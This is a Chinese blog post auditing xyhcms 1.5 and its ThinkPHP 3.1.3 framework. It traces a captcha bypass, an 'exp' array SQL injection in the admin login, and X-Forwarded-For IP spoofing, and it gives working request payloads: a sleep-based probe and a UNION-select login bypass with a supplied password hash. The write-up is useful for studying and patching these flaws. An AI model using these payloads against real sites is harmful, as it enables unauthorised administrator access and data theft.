xyhcms1_5审计

xyhcms1.5代码审计

前言

这是我第一次尝试审计cms,这次成功发现了位于xyhai.php页面后台的一个注入漏洞,还顺带找了个验证码绕过。

环境

php 5.4.45(php版本可以任意)

Nginx 1.14.0

Mysql 5.7.19

xyhcms 1.5 2014年

框架ThinkPHP 3.1.3

漏洞分析

验证码绕过

先从简单的开始

1
2
3
4
5
$verify = I('code','','md5');

if ($_SESSION['verify'] != $verify) {
$this->error('验证码不正确');
}

很典型的验证码没有验证空值。

对每个请求来说,它们使用Cookie中的PHPSESSID来标识session,如果请求中的PHPSESSID和后端对不上,那么后端就会重置session,导致$_SESSION中的变量的值不存在。

而这里又用到了php的弱类型,构造null==’’的情况即可绕过验证码限制。

xyhai.php页面登录绕过

thinkphp本身是有不少问题的,尤其是涉及到数组处理的情况,在parseWhereItem函数,传入数组元素且第一个元素值是exp,

那么parseWhereItem就会拼接key和数组的第二个元素。也就是说只要调用了parseWhereItem的函数就可能出现问题。

1
2
3
4
5
6
7
if(is_array($val)){
....
elseif('exp'==strtolower($val[0])){ // 使用表达式
$whereStr .= ' ('.$key.' '.$val[1].') ';
}
....
}

在thinkphp框架中的include/Lib/Core包中

parseWhere函数调用parseWhereItem,而又有update,delete,parseSql,还有parseThinkWhere函数调用了parseWhere。

而delete和update调用parseWhere函数的情况都比较特殊,
都需要设置$options中的where,也就是需要查询的where部分可控,然而这点在这个cms中,尤其是前台业务中是比较难做到的。因为大部分update和delete的查询参数都是直接从加密后的cookie中获取的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

public function delete($options=array()) {
$this->model = $options['model'];
$sql = 'DELETE FROM '
.$this->parseTable($options['table'])
.$this->parseWhere(!empty($options['where'])?$options['where']:'')
.$this->parseOrder(!empty($options['order'])?$options['order']:'')
.$this->parseLimit(!empty($options['limit'])?$options['limit']:'')
.$this->parseLock(isset($options['lock'])?$options['lock']:false)
.$this->parseComment(!empty($options['comment'])?$options['comment']:'');
return $this->execute($sql,$this->parseBind(!empty($options['bind'])?$options['bind']:array()));
}

public function update($data,$options) {
$this->model = $options['model'];
$sql = 'UPDATE '
.$this->parseTable($options['table'])
.$this->parseSet($data)
.$this->parseWhere(!empty($options['where'])?$options['where']:'')
.$this->parseOrder(!empty($options['order'])?$options['order']:'')
.$this->parseLimit(!empty($options['limit'])?$options['limit']:'')
.$this->parseLock(isset($options['lock'])?$options['lock']:false)
.$this->parseComment(!empty($options['comment'])?$options['comment']:'');
return $this->execute($sql,$this->parseBind(!empty($options['bind'])?$options['bind']:array()));
}

我们把眼光转向parseSql,他的上家是buildSelectSql,而调用buildSelectSql有一个函数是select,继续跟踪发现,model.class中的find函数也会调用它。

而这个函数中的options类的保护属性,也就是说可以通过M->where(array($options))->find()/或者where()->find($options)的这种形式传入,也就是说如果我们能找到一处能传入where或者find参数的位置就可以注入了。

最后我们在后台登录处找了。核心代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

public function login(){

if (!IS_POST) halt('页面不存在');

$username = I('username','','trim');
$password = I('password','');
$verify = I('code','','md5');

if ($_SESSION['verify'] != $verify) {
$this->error('验证码不正确');
}


if ($username == '' || $password == '') {
$this->error('账号或密码不能为空');
}

$user = M('admin')->where(array('username' => $username))->find();
if (!$user || ($user['password'] != get_password($password, $user['encrypt']))) {
$this->error('账号或密码错误');
}

if ($user['islock']) {
$this->error('用户被锁定!');
}
}

那么我们构造语句

1
username[]=exp&username[]=%3d1%20or%20sleep(10)&password=1

image.png

延时10s说明执行成功,执行的语句是

1
SELECT * FROM `xyh_admin` WHERE (  (`username` =1 or sleep(10))  ) LIMIT 1

观察登录逻辑,我们发现验证密码时,会将传入的密码加密后的结果和数据库中的密码比较,而这里的encrypt,password都是查询结果,而我们输入的password又是可控的,也就是说,可以进行登录绕过。

1
2
3
4
http://www.xyhcms1_5.com/index.php?g=Manage&m=Login&a=login


username[]=exp&username[]=%3d%271%27))%20union%20select%201,1,'15ab8357abeb6eacf1b591a1b5b1aedd',1,1,1,1,1,1,0#&password=1&code=1243

执行的sql语句

1
SELECT * FROM `xyh_admin` WHERE ((`username` ='1')) union select 1,1,'15ab8357abeb6eacf1b591a1b5b1aedd',1,1,1,1,1,1,0#)  ) LIMIT 1

image.png

我们回顾一下整个调用链参数从I()函数输入,经过where()到
model class中的find,再到select最后经过Db中的buildSelectSql,再到parseSql,然后达到parseWhereItem。

不过我写文章的时候好像看Db中的insert函数也有和parseWhereItem一样的问题。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public function insert($data,$options=array(),$replace=false) {
$values = $fields = array();
$this->model = $options['model'];
foreach ($data as $key=>$val){
if(is_array($val) && 'exp' == $val[0]){
$fields[] = $this->parseKey($key);
$values[] = $val[1];
}
········
········
}
$sql = ($replace?'REPLACE':'INSERT').' INTO '.$this->parseTable($options['table']).' ('.implode(',', $fields).') VALUES ('.implode(',', $values).')';
$sql .= $this->parseLock(isset($options['lock'])?$options['lock']:false);
$sql .= $this->parseComment(!empty($options['comment'])?$options['comment']:'');
return $this->execute($sql,$this->parseBind(!empty($options['bind'])?$options['bind']:array()));
}

而这里的execute函数是提供显示错误信息的,可以使用报错注入回带处想要的数据应该说也相当有用。

get_client_ip的伪造

这里和那边的验证码是一个道理,通过伪造随机session和x-forwarded-for值来构造不同的ip。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function get_client_ip($type = 0) {
$type = $type ? 1 : 0;
static $ip = NULL;
if ($ip !== NULL) return $ip[$type];
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$arr = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$pos = array_search('unknown',$arr);
if(false !== $pos) unset($arr[$pos]);
$ip = trim($arr[0]);
}elseif (isset($_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
}elseif (isset($_SERVER['REMOTE_ADDR'])) {
$ip = $_SERVER['REMOTE_ADDR'];
}
// IP地址合法验证
$long = sprintf("%u",ip2long($ip));
$ip = $long ? array($ip, $long) : array('0.0.0.0', 0);
return $ip[$type];
}

总结

这一次代码审计总共加起来看了快两天的样子,而且还没有拿到shell,深刻得认识到了自己的菜。不过还有收货了不少tricks。

  1. tp3 和 tp5一样都在sql语句处理数组上存在问题,碰到类似的就可以全局搜索parseWhereItem或者类型的函数。
  2. 网上的poc看不懂的时候直接拿在cms中找个页面写写查询试试看,跟踪跟踪函数调用,很快就会有自己的发现的。
  3. phpStorm的findusage很有用,但跟踪不了有些类中的函数,需要靠自己发现,注入这块主要的问题集中在Db.class里,这块还可以好好看看。
  4. 后台尝试过改页面,找上传漏洞等方法,不过好像没有用,这块以后需要多总结经验。